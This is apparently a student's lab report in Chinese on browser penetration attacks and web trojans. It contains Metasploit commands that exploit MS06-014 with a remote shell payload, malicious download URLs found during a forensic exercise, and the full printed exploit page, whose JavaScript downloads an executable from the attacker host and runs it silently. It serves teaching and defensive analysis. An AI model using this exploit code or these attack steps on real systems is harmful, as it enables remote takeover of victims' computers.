2021191 李楚涵 第11次实验
- Web浏览器的技术发展与安全威胁
随着互联网信息化的不断发展,web应用得到了迅速开发,为互联网的进步发挥着非常重要的作用。同时,安全问题也随之而来,针对于现在的web安全现状,应该采取哪些有针对性的措施呢? 安全认识误区: 为了确保web应用安全,人们在各个工作层面部署属于自己的安全策略,比如安装杀毒软件来确保计算机安全运行,采用SSL技术对所传输的数据加密处理,并搭建web应用防火墙来过滤一些不安全访问信息。对于这些防护措施而言,虽然可以将不必要的暴露端口进行关闭,对一些非法的信息进行过滤,但仍然不能保障web应用安全。对web服务所依赖的80和443端口,必须是开放的,防火墙却不能正确辨认出端口所传输的信息是否安全,当访问通过防护措施时,web应用就会暴露在用户面前。而针对应用层面的攻击而言,可以很轻易地突破防火墙保护的网站。 最新的网络安全统计显示,每天都有超过12亿人次的网民受到木马攻击,并且有大量的流行软件、大型网站被黑,而且每年都呈现明显的大幅度增长趋势。现阶段的互联网仍然非常脆弱,90%左右的木马病毒都以“挂马”的形式进行传播。这些问题的产生,很大程度上源于web安全领域的问题,如后台服务器的不安全设置、系统漏洞、web应用程序实现代码缺陷等,给不法分子以可乘之机。对于这些隐患,75%左右的攻击都出现在web应用程序本身,这也是入侵检测系统、WAF以及SSL所无法应对的。
部署网站安全防护措施: 操作系统作为抵御非法攻击的第一道防线,对确保web安全发挥着非常重要的作用。主要包括以下几个方面:对系统补丁进行实时更新,防止非法分子依靠系统漏洞进行攻击。对不必要的通讯端口进行关闭处理,以有效降低恶意攻击的入侵通口。对密码管理制度进行规范处理。对服务器上的各个登陆密码进行统一生成与集中处理。在进行软件与组件安装时,应认真谨慎,关闭不必要的服务器,以有效降低安全隐患。遵循最小权限原则设置文件系统,以有效避免跨站脚本攻击与提权操作。
2.Web浏览端的渗透攻击威胁——网页木马
网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。
检测和分析技术
- 基于特征码匹配的传统检测方法
- 基于统计与机器学习的静态分析方法
- 基于动态行为结果判定的检测分析方法
- 基于模拟浏览器环境的动态分析检测方法
实践内容
(1)web浏览器渗透攻击 任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本 ④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL ⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
1、kali中输入 msfconsole
,输入 search MS06-014
搜索 MS06-014 渗透攻击模块;输入 use exploit/windows/browser/ie_createobject
,使用该模块进行攻击:
2、输入 set LHOST 192.168.200.4
设置攻击机地址;输入 set payload windows/shell/bind_tcp
设定使用的载荷;输入 exploit
进行攻击: 得到地址http://192.168.200.4:8080/66j2A3wu4X1KO
接着在靶机中访问该地址,可以看到一串英文。
4、接着在kali中输入 sessions
查看当前连接,输入命令 sessions 1
选择会话1 ;使用 getuid
查看当前权限为 administrator ; 输入命令 ifconfig
查看靶机地址为 192.168.200.6
查看靶机的地址
和实验结果一样!成功了!
(2)取证分析实践—网页木马攻击场景分析 实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
首先访问云班课中的 start.html 文件,但考虑到这个文件中包含了 new09.htm。搜索“new09.htm”可以找到两处:
可以看到 new09.htm 文件中,用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件, 又用 javascript 引用了一个http://js.users.51.la/1299644.js 文件。
使用百度MD5计算器对这两个链接做MD5散列
7f60672dcd6b5e90b6772545ee219bd3
23180a42a2ff1192150231b44ffdf3d3 本来是要按照这两个地址下载文件,但是无法下载 http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3 http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
群里有同学分享了这个文件。
在hashed文件中找到对应的文件,用记事本打开。 找到名为23180a42a2ff1192150231b44ffdf3d3的文件,看到其中的内容如下,提示不是我们要找的内容。
打开另一个文件名为7f60672dcd6b5e90b6772545ee219bd3 ,这是一种被称为 XXTEA+Base64 的加密方法,对付这种加密方法,只要找到它的加密密钥就可以。
\x73\x63\x72\x69\x70\x74 就是密钥。
使用16进制解密转换,密钥是script。
访问https://cycy.sourceforge.io/xxtea/输入秘钥密钥 script ,粘贴记事本中的内容,点“解密”,得到了十六进制加密。
然后将转换出来的16进制转成字符
可以看到有这几个漏洞,Adodb.Stream——微软数据库访问对象漏洞; MPS.StormPlayer——暴风影音漏洞; POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞; BaiduBar.Tool——百度搜霸漏洞。这个文件还引用了三个js文件和一个压缩包(bd.cab,解开后是bd.exe),对他们
http://aa.18dd.net/aa/1.js,http://aa.18dd.net/aa/b.js,http://aa.18dd.net/aa/pps.js,http://down.18dd.net/bb/bd.cab
进行MD5散列,得到结果如下
在hashed文件夹中找到这四个文件:
1.js
b.js
数中的六个参数 p,a,c,k,e,d 提示使用packed加密方法,使用网页在线解密,解密结果如下:
关键字 shellcode出现 ,是二进制的机器码。它可能就是下载器。对于一个下载器来说,必不可少的一项内容就是要下载的内容的 URL,我们可以找一找这加密的代码里有 URL 特征的字符串。URL中必然出现斜线 /, / 的十六进制ASCII码是2f,将解密之后的放在Word中查询。后四处比较可疑,因为两个2f比较密集。于是取从第三个2f开始到末尾的内容
解密的结果是http://down.18dd.net/bb/bf.exe
pps.js
根据解密结果,和上述步骤一样,找2f
用上述相同的方法,得到解密结果如下 http://down.18dd.net/bb/pps.exe
一共得到了四个exe文件 014.exe bf.exe pps.exe bd.exe
用winXPAttacker上的PEiD 分析 bd.exe,可以看到使用的是Delphi编写的GUI程序
用W32DAsm 反编译打开bd.exe,打开串式参考
可以看到有很多木马
(3)攻防对抗实践—web浏览器渗透攻击攻防 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
由于我在做第一个实验的时候没有打开wireshark,所以就不能抓包。只能在做实验三的时候,把第一个实验重新做一次。
使用kali分析第一个实践中利用MS06-014漏洞进行分析的渗透代码。在kali的wireshark捕获实践一中MS06-014漏洞攻击,然后返回kali的wireshark看靶机对攻击机的回应。
右键查看源文件获取攻击页面的源代码,下载查看
删去不必要的空格
点击查看代码
<html>
<head>
<title></title>
<script language="javascript">function HuVtDZksueTZGkmdHl(o, n) {
var r = null;
try {
eval("r=o.CreateObject(n)")
} catch(e) {}
if (!r) {
try {
eval("r=o.CreateObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.CreateObject(n,'','')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject('',n)")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n)")
} catch(e) {}
}
return (r)
}
function gXOolkNcRRx(a) {
var s = HuVtDZksueTZGkmdHl(a, "WScript.Shell");
var o = HuVtDZksueTZGkmdHl(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\KUVkctKFjqmITCtNXKMNgVU.exe";
var dat;
try {
xml = new XMLHttpRequest()
} catch(e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if (!xml) {
return (0)
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0)
}
function mpGIYSoIelaqiCzcvEXVNhOc() {
var i = 0;
var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', null);
while (t[i]) {
var a = null;
if (t[i].substring(0, 1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
} else {
try {
a = new ActiveXObject(t[i])
} catch(e) {}
}
if (a) {
try {
var b = HuVtDZksueTZGkmdHl(a, "WScript.Shell");
if (b) {
gXOolkNcRRx(a);
return (0)
}
} catch(e) {}
}
i++
}
}</script>
</head>
<body onload='mpGIYSoIelaqiCzcvEXVNhOc()'>BCKrXmmzzJTakfuVkFFoMAb</body></html>
js调用了document.location加载了 payload ,并且下一行中后面跟了一个可执行文件 KUVkctKFjqmITCtNXKMNgVU.exe
,这个可执行文件是以攻击机为服务器,通过网页下载到靶机上的。为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字是不一样的。
BD96C556-65A3-11D0-983A-00C04FC29E36 是漏洞MS06-014中的clsid变量,搜索 BD96C556,可知攻击者使用的漏洞是MS06-014。
3.实验总结
通过此次实验,让我了解了web浏览器的渗透攻击,网页木马攻击场景以及攻防对抗实践,加深了我对网络安全知识的理解。